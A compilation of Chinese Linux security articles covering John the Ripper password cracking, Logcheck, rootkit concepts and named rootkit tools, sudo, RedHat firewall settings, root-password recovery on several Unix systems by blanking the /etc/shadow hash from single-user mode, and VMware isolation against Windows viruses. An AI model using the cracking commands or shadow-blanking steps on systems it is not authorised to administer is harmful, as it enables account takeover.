#cd john-1.6/run

上述命令完成了该软件的解压缩以及编译,使用起来非常方便。在进行密码分析的过程中,有如下几个常用选项:

● Single:破解单一口令文件。

● Worldlist:file:利用该软件使用词典文件破解口令,也叫字典攻击。

● Rules:使用规则库,允许该软件对词典单词做相应变化来破解口令。

● Incremental:根据john-1.6/run目录下的john.ini文件中定义的参数启用递增或者强行模式。

● Restore:file:继续一次被中断的破解过程。

● Session:file:允许定义存储破解信息的文件名。

● Show:显示上次破解过程所破解出来的口令信息。

在实际的密码分析过程中,推荐如下步骤和方法:

(1)首先,运行以下命令看破解了哪些口令:

#john——single 待破解的口令文件名

#john——show

(2)然后,采用字典攻击,破解口令:

#john——w:字典名 待破解的口令文件名

#john——show

(3)如果上述字典攻击不成功,则进行强行攻击:

#john——待破解的口令文件名

#john -show

日志检查工具——Logcheck

Logcheck是用来自动检查系统安全入侵事件和非正常活动记录的工具,它分析各种Linux下的日志文件,比如前文所介绍过的/var/log/messages、/var/log/secure、/var/log/maillog等等,然后生成一个可能有安全问题的问题报告自动发送电子邮件给管理员。能设置它基于每小时或者每天用crond来自动运行。

Logcheck是一个软件包,用来实现自动检查日志文件,以发现安全入侵和不正常的活动。Logcheck用logtail程序来记录读到的日志文件的位置,下一次运行的时候从记录下的位置开始处理新的信息。所有的源代码都是公开的,实现方法也非常简单。

Logcheck SHELL脚本和logtail.c程序用关键字查找的方法进行日志检测。在这儿提到的关键字就是指在日志文件中出现的关键字,会触发向系统管理员发的报警信息。Logcheck的配置文件自带了缺省的关键字,适用于大多数的Unix系统。但是最好还是自己检查一下配置文件,看看自带的关键字是否符合自己的需要。

Logcheck脚本是简单的SHELL程序,logtail.c程序只调用了标准的ANSI C函数。Logcheck要在cron守护进程中配置,至少要每小时运行一次。脚本用简单的grep命令来从日志文件检查不正常的活动,如果发现了就发送电子邮件给管理员。如果没有发现异常活动,就不会收到电子邮件。

用户可以下载Logcheck工具的最新版本: logcheck-1.1.1.tar.gz。下载后用tar xvfz logcheck-1.1.1.tar.gz命令解开到一临时目录下,然后用make linux自动生成相应的文件到/usr/local/etc、/usr/local/bin/等目录下。用户可能需要更改设置,如发送通知到谁的邮件账号等,默认发送到root。

利用Logcheck工具分析所有logfile,避免每天经常手动地检查它们,节省了时间,提高了效率。

后门工具——Rootkit

Rootkit是一种比普通木马后门更为隐秘和危险的木马后门。它主要通过替换系统文件来达到目的,这样就会更加隐蔽,使检测变得比较困难。传统的Rootkit主要针对Unix平台,例如Linux、AIX、SunOs 等操作系统,有些Rootkit可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让攻击者直接获得权限,相反它是在用户通过各种方法获得权限后才能使用的一种保护权限的措施,在攻击者获取系统根权限(根权限即root权限,是Unix系统的最高权限)以后,Rootkit 提供了一套工具用来建立后门和隐藏行迹,从而让攻击者保住权限,在任何时候都可以使用root权限登录到系统。

Rootkit主要有两种类型:文件级别和系统级别,下面分别加以简要介绍。

1.文件级Rootkit

Rootkit威力很大,可以轻而易举地在系统中建立后门。最一般的情况就是它们首先进入系统然后修改系统的重要文件来达到隐藏自己的目的。合法的文件被木马程序替代。通常情况下,合法的程序变成了外壳程序,而其内部就是隐藏着的后门程序。下面列出的程序就是经常被木马程序利用掩护自己的Linux rootkit:login、 ls、ps、 find、who、 netstat。

其中,当我们访问Linux时(不管是本地还是远程登录),/bin/login程序都会运行,系统将通过 /bin/l ogin来收集并核对用户的账号和密码。Rootkit使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者输入根权限后门的密码,就能进入系统。就算管理员更改了原来的系统密码或者把密码清空,仍能够使用后门密码以根用户身份登录。在攻入Linux系统后,入侵者通常会进行一系列的攻击动作,如安装嗅探器收集重要数据,而Linux中也会有些系统文件监视这些动作,比如ifconfig等系统命令。所以,为了避免被发现,攻击者会想方设法替换一下这些系统文件,通常被Rootkit替换的系统程序有login、ifconfig、du、find、ls、 netstat、ps等。这些命令都能在正常情况下查看系统一些重要的进程、文件和网络情况的信息,而一旦被替换,则无法发现Rootkit已经在系统中工作。所以,如果攻击者将所有用户经常使用的命令都替换了的话,他不但能在系统中建立后门,而且还可以隐藏自己的踪迹。所以通过Rootkit可以达到双重目的,攻击者可以随时进入系统,并且我们还不能对他的行为进行检测。

Rootkit功能如此强大,所以必须好好进行防范。实际上,最有效的防御方法是定期对重要系统文件的完整性进行核查,这类工具很多,像Tripwire就是一个非常不错的文件完整性检查工具。该软件可以检测出一段时间内,系统中哪些文件发生了变化,如果一旦被替换,那么肯定能够反映出来。而一但使用该软件发现系统遭受到Rootkit攻击,必须完全重装所有的系统文件、部件和程序,以确保安全性。

下面给出一些目前常用的文件级Rootkit工具,用户可以选择使用:TrojanIT、Lrk5、Ark、Rootkit(有很多个不同的版本)、TK。

2.内核级Rootkit

在大多数操作系统中(各种Unix和Windows),内核是操作系统最基本的部件,它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时,打开文件的请求被发送到内核,内核负责从磁盘得到文件的比特位并运行文件浏览程序。内核级 Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改系统内核,大多数内核级Rootkit都能进行执行重定向,即截获运行某一程序的命令,将其重定向到入侵者所选中的程序并运行此程序。也就是说,用户或管理员要运行程序A,被修改过的内核假装执行A,实际却执行了程序B。

对于工作在文件级的Rootkit来说,它们非常容易被检测到。而内核级Rootkit工作在一个很低的内核级上。它们经常依附在内核上,并没有修改系统的任何文件,于是tripwire工具就不能检测到它的使用。因为它并没有对系统的任何文件进行修改,攻击者可以对系统为所欲为而不被发现。系统级Rootkit为攻击者提供了很大的便利,并且修复了文件级Rootkit的一些错误。所以建议用户要做好前期的安全防范工作。例如将最小权限的原则应用到整个系统当中,这样攻击者就很难在系统中运行内核级的Rootkit,因为运行它首先需要取得root权限。另外,可以模仿攻击者的攻击方式来确认系统是否已经受到内核级Rootkit的威胁。以系统管理员的身份来运行攻击者一般需要运行的命令,如果系统对这些命令有所反应,那么基本可以确定系统已经被入侵了。不过做好前期的防范工作始终是最重要的,事后的弥补比较困难,而且显得有些捉襟见肘。

下面给出一些目前常用的内核级Rootkit工具,用户可以选择使用:Knark、Adore。

由于上述的Rootkit的工具种类繁多,所以这里不再介绍其安装以及使用的步骤,网上有很丰富的资源,读者可以参看。

系统管理工具——Sudo

Sudo是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt、reboot、su 等等。这样不仅减少了root用户的登陆和管理时间,同样也提高了安全性。如果用户在系统中需要每天以root身份做一些日常工作,经常执行一些固定的几个只有root身份才能执行的命令,那么用Sudo是非常适合的。

Sudo不是对shell的一个代替,它是面向每个命令的。它的特性主要有这样几点:

● Sudo能够限制用户只在某台主机上运行某些命令。

● Sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。

● Sudo使用时间戳文件来执行类似的“检票”系统。当用户调用Sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变),过了这个时间,用户所获得的权限将失效。

● Sudo的配置文件是sudoers文件,它允许系统管理员集中管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0411。

Sudo当前最新的稳定版本为Sudo 1.6.8p9。可以从网站下载文件sudo-1.6.8p9.tar.gz后进行解压安装,如下步骤所示:

#tar xzvf sudo-1.6.8p9.tar.gz

#cd sudo-1.6.8p9

在笔者所使用的版本中,将该软件解压后即可使用,也不需要编译,直接进入sudo-1.6.8p9中使用sudo命令即可。如下所示:

#[root@localhost root]# su liyang

[liyang@localhost root]$ sudo reboot

Password:******

上述例子中,用户liyang使用sudo命令来行使root的权限,重新启动系统。因为通常情况下,一般用户并没有这个权限。系统提示输入该用户的密码加以确认。另外,为了达到该目的,还需要root用户修改一下上述的Sudo的配置文件sudoers,将其中的相关选项改为如下内容:

# User privilege specification

root ALL=(ALL) ALL

liyang ALL=(ALL) ALL

这里,liyang用户具有和root同样的权限,当然在实际应用中不能这么做,而只能将部分权限赋给用户。

其他工具

本文上面介绍的几款安全工具是在实际应用中经常使用的,他们的功能非常强大。在当前环境下,这些工具以及工具的变种层出不穷。比如一些被黑客用来进行攻击的后门和特洛伊木马工具、Sadmind攻击工具、DoS攻击工具(Targa)、DdoS攻击工具等等。虽然这些是黑客工具,但是也可以用来对系统某方面的漏洞进行测试攻击,从而采取打补丁、升级系统、加固系统的方法来保障系统安全。特别是系统管理员要有这种超前的意识,应该多采用和有针对性地选用一些黑客攻击工具,对系统的安全进行分析、评价和保护,这是一项长期的、艰巨的任务。

虽然一些工具是黑客工具,但是也可以用来对系统某方面的漏洞进行测试攻击,从而采取打补丁、升级系统、加固系统的方法来保障系统安全。系统管理员要有一种超前的意识,应该多采用和有针对性地选用一些黑客攻击工具,对系统的安全进行分析、评价和保护,这是一项长期的、艰巨的任务。

RedHat Linux下防火墙配置入门必学

作者:smtk 来源:赛迪网安全社区

RedHatLinux为增加系统安全性提供了防火墙保护。防火墙存在于你的计算机和网络之间,用来判定网络中的远程用户有权访问你的计算机上的哪些资源。一个正确配置的防火墙可以极大地增加你的系统安全性。

为你的系统选择恰当的安全级别。

高级

如果你选择了“高级”,你的系统就不会接受那些没有被你具体指定的连接(除了默认设置外)。只有以下连接是默认允许的:

DNS回应

DHCP—任何使用DHCP的网络接口都可以被相应地配置。如果你选择“高级”,你的防火墙将不允许下列连接:

1.活跃状态FTP(在多数客户机中默认使用的被动状态FTP应该能够正常运行。)

2.IRCDCC文件传输。

3.RealAudio。

4.远程X窗口系统客户机。

如果你要把系统连接到互联网上,但是并不打算运行服务器,这是最安全的选择。如果需要额外的服务,你可以选择“定制”来具体指定允许通过防火墙的服务。

注记:如果你在安装中选择设置了中级或高级防火墙,网络验证方法(NIS和LDAP)将行不通。

中级

如果你选择了“中级”,你的防火墙将不准你的系统访问某些资源。访问下列资源是默认不允许的:

1.低于1023的端口—这些是标准要保留的端口,主要被一些系统服务所使用,例如:FTP、SSH、telnet、HTTP、和NIS。

2.NFS服务器端口(2049)—在远程服务器和本地客户机上,NFS都已被禁用。

3.为远程X客户机设立的本地X窗口系统显示。

4.X字体服务器端口(xfs不在网络中监听;它在字体服务器中被默认禁用)。

如果你想准许到RealAudio之类资源的访问,但仍要堵塞到普通系统服务的访问,选择“中级”。你可以选择“定制”来允许具体指定的服务穿过防火墙。注记:如果你在安装中选择设置了中级或高级防火墙,网络验证方法(NIS和LDAP)将行不通。

无防火墙

无防火墙给予完全访问权并不做任何安全检查,安全检查是对某些服务的禁用。建议你只有在一个可信任的网络(非互联网)中运行时,或者你想稍后再进行详细的防火墙配置时才选此项。

选择“定制”来添加信任的设备或允许其它的进入接口。

信任的设备

选择“信任的设备”中的任何一个将会允许你的系统接受来自这一设备的全部交通;它不受防火墙规则的限制。例如,如果你在运行一个局域网,但是通过PPP拨号连接到了互联网上,你可以选择“eth0”,而后所有来自你的局域网的交通将会被允许。把“eth0”选为“信任的”意味着所有这个以太网内的交通都是被允许的,但是ppp0接口仍旧有防火墙限制。如果你想限制某一接口上的交通,不要选择它。

建议你不要将连接到互联网之类的公共网络上的设备定为“信任的设备”。

允许进入

启用这些选项将允许具体指定的服务穿过防火墙。注意:在工作站类型安装中,大多数这类服务在系统内没有被安装。

DHCP

如果你允许进入的DHCP查询和回应,你将会允许任何使用DHCP来判定其IP地址的网络接口。DHCP通常是启用的。如果DHCP没有被启用,你的计算机就不能够获取IP地址。

SSH

Secure(安全)SHell(SSH)是用来在远程机器上登录及执行命令的一组工具。如果你打算使用SSH工具通过防火墙来访问你的机器,启用该选项。你需要安装openssh-server软件包以便使用SSH工具来远程访问你的机器。

Telnet

Telnet是用来在远程机器上登录的协议。Telnet通信是不加密的,几乎没有提供任何防止来自网络刺探之类的安全措施。建议你不要允许进入的Telnet访问。如果你想允许进入的Telnet访问,你需要安装telnet-server软件包。“WWW(HTTP)”

HTTP协议被Apache(以及其它万维网服务器)用来进行网页服务。如果你打算向公众开放你的万维网服务器,请启用该选项。你不需要启用该选项来查看本地网页或开发网页。如果你打算提供网页服务的话,你需要安装httpd软件包。

启用“WWW(HTTP)”将不会为HTTPS打开一个端口。要启用HTTPS,在“其它端口”字段内注明。

邮件(SMTP)

如果你需要允许远程主机直接连接到你的机器来发送邮件,启用该选项。如果你想从你的ISP服务器中收取POP3或IMAP邮件,或者你使用的是fetchmail之类的工具,不要启用该选项。请注意,不正确配置的SMTP服务器会允许远程机器使用你的服务器发送垃圾邮件。

FTP

FTP协议是用于在网络机器间传输文件的协议。如果你打算使你的FTP服务器可被公开利用,启用该选项。你需要安装vsftpd软件包才能利用该选项。

其它端口

你可以允许到这里没有列出的其它端口的访问,方法是在“其它端口”字段内把它们列出。格式为:“端口:协议”。例如,如果你想允许IMAP通过你的防火墙,你可以指定imap:tcp。你还可以具体指定端口号码,要允许UDP包在端口1234通过防火墙,输入1234:udp。要指定多个端口,用逗号将它们隔开。

窍门:要在安装完毕后改变你的安全级别配置,使用安全级别配置工具。在shell提示下键入redhat-config-securitylevel命令来启动安全级别配置工具。如果你不是根用户,它会提示你输入根口令后再继续。

各类Unix和Linux密码丢失解决方法

各类Unix和Linux密码丢失解决方法

作者:smtk 来源:赛迪网安全社区

一、SolarisROOT密码遗忘的处理方法

1.如果还能用普通用户登陆的话,%df /etc,确定包含/etc目录分区的设备名。

%df /etc

/ /dev/dsk/c0t0d0s0...

此例中是c0t0d0s0,如果你的根目录分区设备不一样的话,替换一下就可以。

2.把系统盘插入cdrom中。

3.出现提示符后,使用sync命令刷新文件系统。

4.按下stop+A。

5."ok"状态下键入boot cdrom -s。

6.在"#"提示符下键入mkdir /temp ,然后键入mount /dev/dsk/c0t0d0s0 /temp。如果出现挂接不上的情况时,那么就运行fsck先 fsck /dev/rdsk/c0t0d0s0,然后在mount。

7.cd /temp/etc。

8.cp shadow shadowbak。

9.cat shadow得到root的口令字符串

root:djglcj0J:6453::::

(其中djglcj0J就是root的加密后的口令字符串)

10.sed s/djglcj0J// shadow>shadownew。

11.cat shadownew查看是否已经变为。

root::6453::::

12.cp shadownew shadow。

13.cd /

unmount /temp

sync

shutdown -i0 -g0 -y

14.取出CD后,重起系统,这时root就不需要密码啦!

这样也可以!

OK boot cdrom -s

#TERM=sun

#export TERM

#mount /dev/dsk/c0t0d0s0 /a

#vi /a/etc/shadow(删除root的加密后的密码)

#reboot

二、恢复SCO UNIX超级用户口令

一旦运行SCO UNIX 机器的超级用户口令忘了,可以用这个方法解决。

在另一台安装了SCO UNIX的机器上,以Root用户注册,进入系统,用 mkdev fd命令或命令scoadmin中的Filesystem之Floppy Filesystem Manager来制作应急启动盘,包括Boottable 盘和Root filesystem盘。

将上述制作的Root filesystem盘安装到硬盘上。

# mount /dev/fd0135ds18 /mnt

再将硬盘上的/etc/passwd 和/tcb/files/auth/r/root两个文件拷贝到Root filesystem盘上。

# cp /etc/passwd /mnt

# cp /tcb/files/auth/r/root /mnt

卸载机器1硬盘上的软盘。

# umount /dev/rfd0135ds18

用Boot软盘去启动遗忘口令的机器,根据提示插入Root filesystem软盘,待出现“#”时,进行下面操作,将硬盘挂到软盘上:

# mount /dev/hd0root /mnt

备份硬盘上的/etc/passwd和/tcb/files/auth/r/root两个文件。因为这两个文件中还包含其他用户的注册信息。

用Root filesystem软盘上的两个文件,覆盖硬盘上的两个文件/etc/passwd 和/tcb/files/auth/r/root。

# mkdir /cyh

# mount /dev/fd0135ds18 /cyh

# cd /cyh

# cp passwd /mnt/etc

# cp root /mnt/tcb/files/auth

卸载安装上的两个文件系统。

# umount /dev/hd0root

# umount /dev/fd0135ds18

取出软盘,重新启动机器,待出现Login时,以Root用户注册,键入第二台机器的超级用户口令,这样便可进入的超级用户了。进入超级用户后,用Passwd和Root这两个文件的备份覆盖原来的文件,接着用passwd命令修改超级用户的口令。用户可以用Alt+F2换一个窗口,以Root注册,现在用修改后的口令就能用了。

三、Aix4.3.3(ibm) rs/6000的Root密码丢失

将第一张安装盘放入光驱,重起机器,按f5键,终端按5,进入maintance页面,选择mount rootvg的功能选项,调用password修改口令,退出即可。

四、Freebsd的Root密码丢了

FreeBSD 4.7,当显示 "boot ... 9 seconds"按任意健,输入:boot -s,登录以后

#/sbin/mount -a

#passwd

五、找回Linux忘记了的Root口令(Lilo/Grub)

三种办法:

1.在系统进入单用户状态,直接用passwd root去更改。

2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法如下:

cd /mnt

mkdir hd

mount -t auto /dev/hdaX(原来/分区所在的分区号) hd

cd hd

chroot ./

passwd root

这样可以搞定。

3.将本机的硬盘拿下来,挂到其他的linux系统上,采用的办法与第二种相同。

Rh8中

(一)Lilo

1. 在出现 lil 提示时键入 linux single,画面显示 lil linux single。

2. 回车可直接进入linux命令行。

3. #vi /etc/shadow。将第一行,即以root开头的一行中root:后和下一个:前的内容删除,第一行将类似于root::......保存。

4. #reboot重启,root密码为空。

(二)Grub

1. 在出现grub画面时,用上下键选中你平时启动linux的那一项(别选dos哟),然后按e键。

2. 再次用上下键选中你平时启动linux的那一项(类似于kernel /boot/vmlinuz-2.4.18-14 ro root=LABEL=/),然后按e键。

3. 修改你现在见到的命令行,加入single,结果如下:

kernel /boot/vmlinuz-2.4.18-14 single ro root=LABEL=/

4. 回车返回,然后按b键启动,即可直接进入linux命令行。

5. #vi /etc/shadow,将第一行,即以root开头的一行中root:后和下一个:前的内容删除,第一行将类似于root::......保存。

6. #reboot重启,root密码为空。

六、HP-UX 的Root密码丢失

启动时按Esc进入isl,进入ISL后:

isl>bo pri

(yes/no)y

ipl>hpux -is

ipl>vi /etc/passwd

去掉root 的密码即可。

用Linux系统作为Windows系统的安全总管

作者:smtk 来源:赛迪网安全社区

相信目前仍然有不少人跟我一样,在某种场合还离不开Windows。然而近来Windows病毒越来越猖狂了,杀毒联盟也往往是“杀万漏一”,留下恐怖的种子。当今世界,信息以光速传播,病毒也是如此,杀毒软件逐渐开始扮演“马后炮”的角色了。

另一方面,病毒库快速增大,你的电脑即使不被病毒搞死,也会被病毒库撑破。安全卫士时刻监视着系统(包括你的每一个操作),把你的“奔驰”变成“笨死”。

我的一台机器满身是毒,最后一次发作,毁掉了一个硬盘的分区。我不想再去杀毒了,取而代之的是,我直接使用Vmware for Linux。你可能怀疑了:“这能杀毒吗?好像没听说过Vmware是个杀毒软件。”呵呵,Vmware确实不杀毒,可它能够完全隔离病毒——它比任何杀毒软件都厉害着呢!

以下是主要的步骤。

一、运行Vmware,在Linux的文件系统之下,创建一个Windows98虚拟硬盘,大小是2G或1G。这个硬盘作为虚拟机的primary master,即Windows98下的C盘。接着在虚拟机里面安装Windows98,IE6.0,Office2000,以及一些常用工具如Ultraedit,Flashget,Winzip等等,尽量保证不含病毒。然后退出虚拟机中的Windows98。

二、在Vmware的settings菜单执行configuration editor命令,创建第二个虚拟硬盘,大小80M(或者根据你的需要调整一下)。这个硬盘作为虚拟机的secondary slave。这个盘是你将来的个人资料存放地。在secondary master的位置,安装cdrom设备。你可能还需要挂接以前的那个含有病毒的硬盘,把它挂接在primary slave的位置,就是作为D盘。然后点击power on开机,待正常进入Windows98之后,不要干别的事情,立即退出Windows98。因为病毒在D盘,它还没有能够得到控制权,所以系统(指C盘)此时仍然安全。

好了,现在这个可靠的系统已经做出来了,你不希望它将来会被病毒破坏掉。怎么办?办法是,用Vmware冻结你的虚拟硬盘。在Vmware的settings菜单中执行configuration editor命令,将C盘和D盘的属性由permanent(永久的)改成nonpermanent(非永久的)。将80M的硬盘属性由permanent(永久的)改成undoable(可废除的)。改完之后,无需启动Windows98;你直接退出Vmware就行了。到此为止,你基本上可以高枕无忧了。那个nonpermanent(非永久的)属性是什么意思呢?就是,所有的写盘操作都会被废除、被忽略的。这等于说,你的C盘不可被病毒更改,而D盘上的病毒也不可能被杀掉了。但是,你以后想杀毒的时候,还可以把D盘的属性改回到permanent(永久的)。类似地,你以后想安装新软件时,还得改变C盘属性,否则你也无法写入C盘。但是,安装完新软件之后,一定要记住马上再次冻结C盘,即修改属性为nonpermanent(非永久的)。

现在,你的C盘已经进入保险柜,再也不会受病毒伤害了。有时候,你从网络上或软盘上临时感染了病毒。这不要紧的,Windows98关闭之后,下次再进来,一切病毒都不复存在了(最多驻留在80M的E盘上,发作不了)。为了防止网络上或软盘上临时性的病毒毁掉你的E盘,你在Linux下编写一个脚本,在每次运行Vmware之前都先自动备份你的E盘。你可以做5个或10个备份,保证安全。这样,那些临时性的病毒最多只能毁掉你本次开机之后所做的工作,你可以安慰自己说:“机器无非是掉电了,损失不大,我这就去找找上次的自动备份……”

顺便提一下,以上制作的干净C盘映像文件,还可以拷贝到别的电脑上,免去了多次安装配置的麻烦。

上述整个过程在Linux下进行,不需要任何杀毒软件(任何杀毒软件也不如这个办法来得可靠)。你并非把病毒杀死,而是永不害怕它了。在Vmware下,即便像CIH这样攻击主板BIOS的恶性病毒也无计可施。病毒已经奈何你不得,被活活埋葬。它被完全淹没在Vmware和Linux的汪洋大海之中!

病毒对Windows98说:“你投降吧!我要彻底摧毁你的硬盘!”Vmware对病毒说:“螳螂捕蝉,黄雀在后。你在我肚子里还是乖乖儿的好!”

要救Windows,还得Linux。真是新鲜!不知Windows铁杆支持者作何感想?

推广链接